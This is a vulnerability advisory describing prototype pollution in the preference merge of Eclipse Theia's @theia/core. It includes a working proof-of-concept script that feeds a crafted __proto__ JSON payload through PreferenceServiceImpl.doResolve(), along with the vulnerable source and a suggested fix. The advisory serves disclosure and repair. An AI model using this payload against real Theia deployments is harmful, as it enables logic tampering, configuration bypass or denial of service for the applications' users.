[Eclipse Theia] Prototype Pollution in @theia/core PreferenceService preference merge
Affected Package
@theia/core
Verified affected versions:
1.72.31.73.1current npm latest
Summary
@theia/core exposes PreferenceUtils.merge() from the package root and uses it inside PreferenceServiceImpl.doResolve() to merge preference values from multiple scopes.
The merge implementation iterates Object.entries(target) and assigns source[key] = JSONExt.deepCopy(value) without rejecting prototype-pollution keys. If a preference value object contains an own enumerable __proto__ property, source["__proto__"] resolves to Object.prototype, and attacker-controlled nested properties are written onto Object.prototype.
This is reachable through the real preference resolution flow, not only by calling a standalone utility function. PreferenceServiceImpl.doResolve() calls:
result.value = PreferenceUtils.merge(result.value, value);for each preference provider/scope.
Install
mkdir theia-pref-pp && cd theia-pref-pp
npm init -y
npm i @theia/core@1.73.1PoC
Create poc.cjs:
const { PreferenceServiceImpl, PreferenceScope } = require('@theia/core');
const svc = new PreferenceServiceImpl();
svc.schemaService = {
validScopes: [PreferenceScope.User, PreferenceScope.Workspace]
};
const userProvider = {
canHandleScope: () => true,
resolve: () => ({
configUri: 'user-settings.json',
value: { safe: true }
})
};
const workspaceProvider = {
canHandleScope: () => true,
resolve: () => ({
configUri: 'workspace-settings.json',
value: JSON.parse(
'{"__proto__":{"theiaPrefPP":"PWNED_VIA_PREFERENCE_SERVICE"}}'
)
})
};
svc.preferenceProviders.set(PreferenceScope.User, userProvider);
svc.preferenceProviders.set(PreferenceScope.Workspace, workspaceProvider);
delete Object.prototype.theiaPrefPP;
try {
const resolved = svc.doResolve('any.preference', undefined);
console.log('resolved value keys:', Object.keys(resolved.value || {}).join(','));
console.log(Object.prototype.theiaPrefPP);
console.log(({}).theiaPrefPP);
} finally {
delete Object.prototype.theiaPrefPP;
}Run:
node poc.cjsExpected output:
resolved value keys: safe
PWNED_VIA_PREFERENCE_SERVICE
PWNED_VIA_PREFERENCE_SERVICERoot Cause
Affected code:
@theia/core/lib/common/preferences/preference-provider.js
function merge(source, target) {
if (source === undefined || !JSONExt.isObject(source)) {
return JSONExt.deepCopy(target);
}
if (JSONExt.isPrimitive(target)) {
return {};
}
for (const [key, value] of Object.entries(target)) {
if (key in source) {
const sourceValue = source[key];
if (JSONExt.isObject(sourceValue) && JSONExt.isObject(value)) {
merge(sourceValue, value);
continue;
}
}
source[key] = JSONExt.deepCopy(value);
}
return source;
}When key is __proto__, source[key] is Object.prototype. Because both Object.prototype and the attacker value are JSON objects, the recursive merge writes attacker-controlled fields to Object.prototype.
Reachable code:
@theia/core/lib/common/preferences/preference-service.js
result.value = PreferenceUtils.merge(result.value, value);Impact
Theia applications commonly resolve preferences from user, workspace, and folder configuration. If an attacker can influence a preference object loaded into a provider, such as workspace settings, remote/project configuration, extension-provided configuration, or imported preferences, resolving that preference can pollute Object.prototype inside the Theia frontend/backend process.
This can affect later plain-object reads across the application and may cause logic tampering, unexpected inherited configuration values, authorization/configuration bypasses, or denial of service depending on host application behavior.
Suggested Fix
Reject prototype-pollution keys before reading, assigning, or recursing:
__proto__constructorprototype
Also avoid key in source for untrusted keys and prefer own-property checks such as Object.prototype.hasOwnProperty.call(source, key).